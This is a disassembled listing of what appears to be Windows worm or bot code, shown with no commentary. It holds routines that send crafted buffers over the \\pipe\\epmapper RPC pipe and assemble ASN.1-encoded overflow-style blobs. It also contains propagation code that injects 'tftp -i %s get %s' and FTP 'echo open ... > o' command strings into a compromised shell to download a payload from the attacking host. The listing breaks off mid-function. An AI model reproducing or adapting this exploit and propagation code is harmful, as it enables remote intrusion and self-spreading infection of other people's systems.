[ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 26707CBh cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_402E5C loc_402E4D: ; CODE XREF: sub_402DD7+126j lea eax, [ebp+arg_4] push eax call sub_402ACC pop ecx jmp loc_403055 ; --------------------------------------------------------------------------- loc_402E5C: ; CODE XREF: sub_402DD7+74j lea eax, [ebp+arg_4] push 2 push eax call sub_40D4C5 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_402EF4 mov edi, 186A0h push edi call sub_417B89 mov esi, eax push edi push ebx push esi call sub_417330 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_427648 push [ebp+var_4] call near ptr 2670000h nop cmp byte ptr [esi+2], 0Ch jnz short loc_402EE4 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] nop call near ptr 2660000h test eax, eax jnz short loc_402F02 loc_402EE4: ; CODE XREF: sub_402DD7+F3j push esi call sub_417C3B push [ebp+var_8] call sub_417C3B pop ecx pop ecx loc_402EF4: ; CODE XREF: sub_402DD7+B9j push [ebp+var_4] nop call near ptr 2651922h jmp loc_402E4D ; --------------------------------------------------------------------------- loc_402F02: ; CODE XREF: sub_402DD7+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] nop call near ptr 26510A0h push [ebp+var_8] mov edi, eax call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] nop call near ptr 2651922h lea eax, [ebp+arg_4] push eax call sub_402ACC cmp edi, 1 pop ecx jnz loc_403066 jmp loc_403055 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402DD7+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_40D4C5 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403055 xor ebx, ebx push ebx push 1 push 2 call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403055 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43AD98 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43ADD8 mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_402FD7 push [ebp+var_4] jmp short loc_40304F ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402DD7+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_402FEF loc_402FEC: ; CODE XREF: sub_402DD7+22Aj push esi jmp short loc_403048 ; --------------------------------------------------------------------------- loc_402FEF: ; CODE XREF: sub_402DD7+213j push ebx push 48h push offset dword_427648 push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_402FEC mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43ADB0 push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_403030 push [ebp+var_8] jmp short loc_403048 ; --------------------------------------------------------------------------- loc_403030: ; CODE XREF: sub_402DD7+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43ADB0 push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_403059 loc_403048: ; CODE XREF: sub_402DD7+216j ; sub_402DD7+257j call sub_417C3B pop ecx push edi loc_40304F: ; CODE XREF: sub_402DD7+1FEj call dword_43AE30 loc_403055: ; CODE XREF: sub_402DD7+31j ; sub_402DD7+80j ... xor eax, eax jmp short loc_4030C7 ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402DD7+26Fj call sub_417C3B pop ecx push edi call dword_43AE30 loc_403066: ; CODE XREF: sub_402DD7+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset unk_427B78 push eax call sub_4172B0 add esp, 0Ch loc_40307E: ; CODE XREF: sub_402DD7+2C7j lea eax, [ebp+var_338] push eax call sub_40C04D test eax, eax pop ecx jnz short loc_4030A2 push 1388h call near ptr 2630F90h nop inc ebx cmp ebx, 6 jl short loc_40307E jmp short loc_4030C4 ; --------------------------------------------------------------------------- loc_4030A2: ; CODE XREF: sub_402DD7+2B6j lea eax, [ebp+var_338] push eax call sub_40BF6D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_4030C4: ; CODE XREF: sub_402DD7+2C9j push 1 pop eax loc_4030C7: ; CODE XREF: sub_402DD7+280j pop edi pop esi pop ebx leave retn sub_402DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030CC proc near ; DATA XREF: ___:00426004o jmp $+5 sub_4030CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4030D1 proc near push 0BB80h push 76Ch call sub_415450 pop ecx mov dword_436EE0, eax pop ecx retn sub_4030D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030E8 proc near ; CODE XREF: sub_403249+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43ADD8 mov [ebp+var_C], eax mov ax, word ptr dword_436EE0 push eax call dword_43AD98 push esi push 1 push 2 mov [ebp+var_E], ax call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403222 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_403222 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43ADB0 mov esi, offset byte_42F678 push esi push esi push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 18h push esi push esi push dword_436F0C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403222 push 1F4h nop call near ptr 2630F90h push esi push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_403226 loc_403222: ; CODE XREF: sub_4030E8+51j ; sub_4030E8+67j ... xor al, al jmp short loc_403244 ; --------------------------------------------------------------------------- loc_403226: ; CODE XREF: sub_4030E8+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43ADB0 push ebx call dword_43AE30 mov al, 1 loc_403244: ; CODE XREF: sub_4030E8+13Cj pop edi pop esi pop ebx leave retn sub_4030E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403249 proc near ; CODE XREF: ___:004037ADp ; ___:004037CFp var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_417B30 mov eax, dword_428634 push ebx mov [ebp+var_10], eax mov eax, dword_428638 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_428628 push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_403288: ; CODE XREF: sub_403249+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_403288 push 60h lea eax, [ebp+var_B4] push offset dword_4280B8 push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_417390 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_417AB0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_417390 mov ax, word ptr dword_436EE0 add esp, 2Ch push eax call dword_43AD98 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_427DB8 call sub_417390 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403445 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_417330 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4284E0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_417390 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_417390 push 4 lea eax, [ebp+var_11AC] push offset loc_428620 push eax call sub_417390 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_417390 add esp, 40h push esi call sub_417AB0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_417390 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_4033FE: ; CODE XREF: sub_403249+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_4033FE mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_417330 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_417330 add esp, 18h jmp short loc_40349C ; --------------------------------------------------------------------------- loc_403445: ; CODE XREF: sub_403249+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_417330 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_417390 lea eax, [ebp+var_10] push eax call sub_417AB0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_417390 mov eax, dword_4284E0 add esp, 2Ch mov [ebp+var_768], eax loc_40349C: ; CODE XREF: sub_403249+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_417330 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_4034DB loc_4034D4: ; CODE XREF: sub_403249+2B9j ; sub_403249+2E0j ... xor al, al jmp loc_403683 ; --------------------------------------------------------------------------- loc_4034DB: ; CODE XREF: sub_403249+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 68h push offset dword_42811C push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 0A0h push offset dword_428188 push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 cmp [ebp+arg_C0], ebx jz loc_4035F1 push 68h lea eax, [ebp+var_89B4] push offset dword_428340 push eax call sub_417390 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_417390 push 70h lea eax, [ebp+var_68DC] push offset dword_4283AC push eax call sub_417390 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_417390 push 84h lea eax, [ebp+var_5DA8] push offset dword_428420 push eax call sub_417390 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43ADB0 push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403647 ; --------------------------------------------------------------------------- loc_4035F1: ; CODE XREF: sub_403249+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_42822C push eax call sub_417390 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_417390 push 90h lea eax, [ebp+var_245C] push offset off_4282AC push eax call sub_417390 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403647: ; CODE XREF: sub_403249+3A6j push eax push edi call dword_43ADE8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push 12Ch call near ptr 2630F90h nop sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4030E8 add esp, 0BCh test al, al setnz al loc_403683: ; CODE XREF: sub_403249+28Dj pop edi pop esi pop ebx leave retn sub_403249 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_415450 xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_417330 add esp, 14h lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_43ADD8 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_43AD98 push 6 push 1 push 2 mov [ebp-12h], ax call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403790 lea eax, [ebp-14h] push 10h push eax push ebx call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_403790 push edi push 89h push offset dword_427EA0 push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 push edi push 0A8h push offset dword_427F2C push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 push edi push 0DEh push offset dword_427FD8 push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43ADB0 movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40379A dec eax jz short loc_403797 loc_403790: ; CODE XREF: ___:004036EBj ; ___:00403701j ... xor eax, eax jmp loc_403817 ; --------------------------------------------------------------------------- loc_403797: ; CODE XREF: ___:0040378Ej push edi jmp short loc_4037BE ; --------------------------------------------------------------------------- loc_40379A: ; CODE XREF: ___:0040378Bj push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jnz short loc_4037DE push 1 loc_4037BE: ; CODE XREF: ___:00403798j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jz short loc_4037E5 loc_4037DE: ; CODE XREF: ___:004037BAj mov dword ptr [ebp-4], 1 loc_4037E5: ; CODE XREF: ___:004037DCj push ebx call dword_43AE30 cmp dword ptr [ebp-4], 0 jz short loc_403814 lea eax, [ebp-854h] push eax call sub_40BF6D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_403814: ; CODE XREF: ___:004037F0j push 1 pop eax loc_403817: ; CODE XREF: ___:00403792j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40381C proc near ; CODE XREF: sub_403A90+Ep ; sub_403A90+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40381C endp ; =============== S U B R O U T I N E ======================================= sub_403826 proc near ; CODE XREF: sub_403A90+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_417B89 mov edi, eax pop ecx test edi, edi jz short loc_403858 push ebx push 0 push edi call sub_417330 push ebx push [esp+1Ch+arg_0] push edi call sub_417390 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403858: ; CODE XREF: sub_403826+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403860 proc near ; CODE XREF: sub_40395A+18p ; sub_4039D4+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_417B89 mov esi, eax pop ecx test esi, esi jz short loc_4038AC push edi push 0 push esi call sub_417330 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_417390 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_417390 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4038AC: ; CODE XREF: sub_403860+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403860 endp ; =============== S U B R O U T I N E ======================================= sub_4038B5 proc near ; CODE XREF: sub_40395A+5Ep ; sub_40395A+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4038C5 push eax call sub_417C3B pop ecx loc_4038C5: ; CODE XREF: sub_4038B5+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4038B5 endp ; =============== S U B R O U T I N E ======================================= sub_4038CE proc near ; CODE XREF: sub_40395A+20p ; sub_403A35+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4038FB xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_4038FF loc_4038FB: ; CODE XREF: sub_4038CE+Dj xor al, al jmp short loc_403956 ; --------------------------------------------------------------------------- loc_4038FF: ; CODE XREF: sub_4038CE+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_417330 add esp, 0Ch cmp ebx, 1 jnz short loc_403924 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40393E ; --------------------------------------------------------------------------- loc_403924: ; CODE XREF: sub_4038CE+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40393E: ; CODE XREF: sub_4038CE+54j push eax call sub_417390 add esp, 0Ch push dword ptr [esi] call sub_417C3B add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403956: ; CODE XREF: sub_4038CE+2Fj pop edi pop esi pop ebx retn sub_4038CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40395A proc near ; CODE XREF: sub_403A90+89p ; sub_403A90+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_436EF4 call sub_403860 lea ecx, [ebp+var_8] call sub_4038CE mov eax, [ebp+var_4] inc eax push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_403994 xor al, al jmp short loc_4039D0 ; --------------------------------------------------------------------------- loc_403994: ; CODE XREF: sub_40395A+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417330 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_417390 add esp, 18h mov ecx, esi call sub_4038B5 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4038B5 mov al, 1 loc_4039D0: ; CODE XREF: sub_40395A+38j pop edi pop esi leave retn sub_40395A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039D4 proc near ; CODE XREF: sub_403A08+14p ; sub_403A25+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4039D4 endp ; =============== S U B R O U T I N E ======================================= sub_403A08 proc near ; CODE XREF: sub_403A90+F0p ; sub_403A90+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_417AB0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4039D4 pop esi retn 4 sub_403A08 endp ; =============== S U B R O U T I N E ======================================= sub_403A25 proc near ; CODE XREF: sub_403A71+Bp ; sub_403A90+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4039D4 retn 8 sub_403A25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A35 proc near ; CODE XREF: sub_403A71+16p ; sub_403A90+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4038CE test al, al jz short loc_403A6E push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4289A7+1) call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_403A6E: ; CODE XREF: sub_403A35+Fj pop esi leave retn sub_403A35 endp ; =============== S U B R O U T I N E ======================================= sub_403A71 proc near ; CODE XREF: sub_403A90+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_403A25 test al, al jz short loc_403A8C mov ecx, esi call sub_403A35 loc_403A8C: ; CODE XREF: sub_403A71+12j pop esi retn 8 sub_403A71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A90 proc near ; CODE XREF: ___:00404315p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40381C mov edi, 408h cmp [ebp+arg_8], edi jg loc_403DE4 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_403DE4 push esi lea ecx, [ebp+var_30] call sub_40381C lea ecx, [ebp+var_20] call sub_40381C lea ecx, [ebp+var_50] call sub_40381C lea ecx, [ebp+var_18] call sub_40381C lea ecx, [ebp+var_40] call sub_40381C lea ecx, [ebp+var_38] call sub_40381C lea ecx, [ebp+var_28] call sub_40381C push 4 push offset dword_428648 lea ecx, [ebp+var_30] call sub_4039D4 push 3 push offset dword_428650 lea ecx, [ebp+var_30] call sub_4039D4 lea ecx, [ebp+var_30] call sub_40395A lea ecx, [ebp+var_30] call sub_403A35 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_42863C call sub_4039D4 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4039D4 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4039D4 lea ecx, [ebp+var_20] call sub_40395A push offset loc_4289D0 lea ecx, [ebp+var_50] call sub_403A08 lea ecx, [ebp+var_50] call sub_40395A push esi lea eax, [ebp+var_858] push 44h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403826 lea ecx, [ebp+var_58] call sub_40395A push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_403A71 lea ecx, [ebp+var_58] call sub_4038B5 push esi lea eax, [ebp+var_858] push 43h push eax call sub_417330 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_403A08 push 4 push offset dword_428654 lea ecx, [ebp+var_18] call sub_4039D4 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4039D4 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4039D4 lea ecx, [ebp+var_18] call sub_40395A push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_403A25 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_403A25 lea ecx, [ebp+var_40] call sub_403A35 lea ecx, [ebp+var_18] call sub_4038B5 lea ecx, [ebp+var_50] call sub_4038B5 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_403A25 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_403A25 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_403A25 lea ecx, [ebp+var_38] call sub_403A35 lea ecx, [ebp+var_20] call sub_4038B5 lea ecx, [ebp+var_30] call sub_4038B5 lea ecx, [ebp+var_40] call sub_4038B5 push esi lea eax, [ebp+var_858] push 41h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4039D4 lea ecx, [ebp+var_28] call sub_40395A push 2 push offset dword_4289C4 lea ecx, [ebp+var_28] call sub_4039D4 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_403A25 lea ecx, [ebp+var_28] call sub_403A35 lea ecx, [ebp+var_38] call sub_4038B5 lea ecx, [ebp+var_10] call sub_40381C lea ecx, [ebp+var_8] call sub_40381C push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_28] call sub_4038B5 push offset dword_4289C0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289BC lea ecx, [ebp+var_10] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_8] call sub_4038B5 push offset dword_4289B0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push 